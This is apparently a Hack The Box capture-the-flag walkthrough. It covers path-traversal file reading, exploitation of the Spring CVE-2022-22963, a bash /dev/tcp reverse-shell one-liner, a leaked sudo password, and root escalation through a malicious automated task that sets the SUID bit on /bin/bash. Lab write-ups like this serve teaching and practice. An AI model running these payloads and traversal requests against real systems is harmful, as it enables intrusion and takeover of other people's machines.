Pawned: 15/03/23
Tags: LFI, Path Traversal, Spring Framework Vulnerability, Bash Reverse Shell, Malicious Automated Task

Enumeration
First, as always, we use an nmap version and script scan to start off the enumeration.

On this machine, the default HTTP port, 80, isn't open. However, we see that 8080 is open. This is a common alternative port for HTTP traffic. Therefore, we can try visiting the site by explicitly overriding the default port using this URL: http://10.10.11.204:8080.

On the site, we see log-in and sign-up links, but they don't work. The only thing we can do is upload images. This seems like a perfect place to upload a reverse shell. However, after trying many different techniques, like the ones mentioned in this blog post, it would seem that this is a rabbit hole.

Instead, if we look at the URL to view the image, it appears to be vulnerable to LFI and path traversal. So let's try it by entering this URL: http://10.10.11.204:8080/show_image?img=nonexistent.file. Doing so gives us a promising error of 500. Next, we'll try to get an actual file, namely, the "passwd" file: http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd.
This time, instead of a 500 error, we get the same "cannot be displayed error" as before.
To look inside the file, we could view source. (For some reason, while this can be done in Chromium browsers, Firefox doesn't have this feature.) However, an even better way is to use curl:

As we can see, curl allows us to view "passwd". Inside, we see two users of note: "frank" and "phil". This isn't particularly helpful to us at the moment, so we'll have to keep looking around, using curl like cat.
Incredibly, using curl on directories also works like ls:

Initial Foothold
Armed with these tools, we can snoop around the machine.

We find an interesting file called "pom.xml", inside which we see this:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-parent</artifactId>
                <version>2.6.5</version>
                <relativePath/> <!-- lookup parent from repository -->
        </parent>
SNIP

This implies that the server uses the Spring Framework.
After a quick Google search, we find out that this framework is vulnerable to CVE-2022-22963. Let's first test out this exploit:

As we can see, the exploit successfully creates a file in the "tmp" directory. Note that there are a lot of extraneous files that other HTB users have left there. I would recommend not opening any of them.
Anyways, now that we know that the exploit works, we can create a reverse shell payload. However, since this exploit executes commands in the form of a string, I found it aquite difficult to create reverse shell using echo. This was mainly because of the use of delimiters and quotation marks.
Instead, we can use curl to grab a payload that we have premade on our attacking machine. To do so, we need to first make a payload. Many can be found on PayloadsAllTheThings' reverse shell cheatsheet. I used this one:

bash -c 'bash -i >& /dev/tcp/[RHOST]/[RPOST] 0>&1'  

We need to change [RHOST] and [RPORT] to our attacking machine's IP and our chosen listening port, respectively. Let's go with [RPORT] = 8443.
After this payload into a file called, say, "revshell.sh", we'll start a local web server on our attacking machine:

Now on another terminal, we can transfer the reverse shell onto the target machine and then check that this was successful:

Next, we'll start an nc listener on our chosen port:

And then finally we can execute the payload:

Back on our nc listener, we see that we have gotten a reverse shell as "frank". However, we need to have the permissions of "phil" to get the user flag.

Since we don't know the password for "frank", we don't have access to sudo. What we can do it look inside the hidden directories in their home directory to see what we can find:

Inside "settings.xml" which was inside ".m2", we see credentials:
Username: phil, Password: DocPhillovestoInject123.
These aren't ssh but sudo ones, so we'll elevate privileges to "phil" and then grab the user flag. Note that the flags get randomized periodically.

Privilege Escalation
Looking around the machine, we find a file called "playbook_1.yml" inside "/opt/automation/tasks":

It would seem like the files inside the "opt/automation/tasks" directory get automatically executed. So inside this directory, we'll create a malicious task:

The chmod +s /bin/bash command makes the directory "/bin/bash" executable.
We'll wait a few minutes for the "pe.yml" to get run, then we'll execute "/bin/bash" with nest directories using the -p flag:

Now that we have root access, we can obtain the root flag located in "/root/root.txt":

We have now finished hacking the box, but we must remember to clean up after ourselves (it seems "pe.yml" was automatically deleted for us):